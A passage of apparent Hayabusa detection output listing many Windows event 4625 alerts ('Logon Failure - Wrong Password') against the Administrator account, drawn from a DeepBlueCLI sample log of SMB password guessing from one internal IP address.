NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.622 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dJilW4KgIEeh5VNr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.668 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2Ka0FYYdVOj90l0L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.715 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B9ZjGE8T6RuGx8SZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.758 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nkti4BGVrpoAQRBL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.804 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fZy2YJPOg1YZ2bd0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.848 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rUE6E9H9i0l0P7Jp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.892 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0Pkpt2nmRorQ3x0o : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.937 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hCZNNzSyi4mLLaxZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:21.986 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O9ZqF43sDjSirvMK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.041 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XOw9DjHISDX57XUe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.083 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rmxFpEQeGsgbXpDy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.129 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MfIVCOOWQS7TNKQA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.172 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uweLaLhvznDee1IF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.221 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oNQcS2BonF12ikiX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.265 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: D43Flf2keSL3aph6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.307 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zw7nJXNHZ2QNa3In : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.352 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UZp4567BIWAwxF9r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.397 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: S9iVvPuykq62pV9z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.431 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eRVomETC34InuKPk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.473 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VpHfjKgAxChSYz8R : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.520 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tIbTy5IDRy90lbUR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.565 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mM6Olq0zYkMlwmrb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.610 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mUehtGEh0EqRHiLP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.657 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EhZ2KHmCTonGrXSS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.696 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NZea5qiet7vrT3iv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.741 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aNWY8kuJMSy8h0Zk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.781 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Bt9DUQ0mwhkJlTt8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.828 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zXYtsM2MMuNSYtVr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.880 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WgzvsdMN2SU7Knlh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:22.971 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DxiBYXNCY32yNb6L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cVfJmOxvsp75g3a0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.048 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uHp1hlHjD8w3WKt3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.093 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dEeJWAJgOeueYSM9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.136 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tOfPGoUXu932L80d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.181 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NbH4R6GK1PIVT3ij : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.220 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PgsJokRd07Nh1lO1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.273 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 11ylyxQyV5HCJ18g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.322 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Am2qI1ya4wYdqErV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.374 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5o2AmZsYUYmDpWZE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.421 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c0Hd8xWxOxFifJBG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.461 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hlh64Gtfoig2uzOY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.522 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LtK8Hj2kf3dfFSnW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.562 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VKUPqxtNqkVqXgTg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.605 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SKSxp87CBg8L8wSi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CpvxvR0ftQs1gdEF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.684 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U9RGDzNMt9fM6rLF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.730 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RvOO9NLhbbKJXQq9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.777 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mDB9bIx7LcoJ6IAU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.822 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pfJWsGqlQTmFUUPT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.869 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9PRIO3MASsjrdQGs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.906 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: P9QCn4nZHB0ENeA1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:23.961 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4iUNHB1gE2d1dBfZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.001 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tM3IdtrLdVXQjOjB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.051 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Dbmn9Er9e1JZZybc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.102 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SY40ARcAoo9cWQIP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.139 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Fc7m0blzidQfn1BU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.193 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 13SkGPbDDXou7qLA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.235 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2YIlJeZpJlvcKgqt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.277 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BRhH6atcwLcGmrB4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.324 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BGIInLsy4UCfl0oW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.372 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4qJ7nEN0u9DkVuVH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.413 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6qb85lEENmrj4ebF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.487 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q6RXAj26rnxMmxuL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.533 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tas7cqRNGQw6FlVX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.597 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FQlF8GYIeWytFLsJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.649 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Dj48ftx52s1HntRT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.710 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B46vTS9PxUgUblBp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.770 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eoIFbywJEC0QaceV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.817 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PSXqaP0i1eeKQOmX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.874 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gke4vfzIAC3k0yXU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.919 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZnjxfeIX4ra6vmBA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:24.963 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ChR30FLLOT3Pvapv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.006 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VkepVf00vkpVp9yV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5i2AxYxwCX6DvP3M : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.110 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j8Fvcw2mQBI61mxH : IP Address: 192.168.198.149 : AuthPackage: 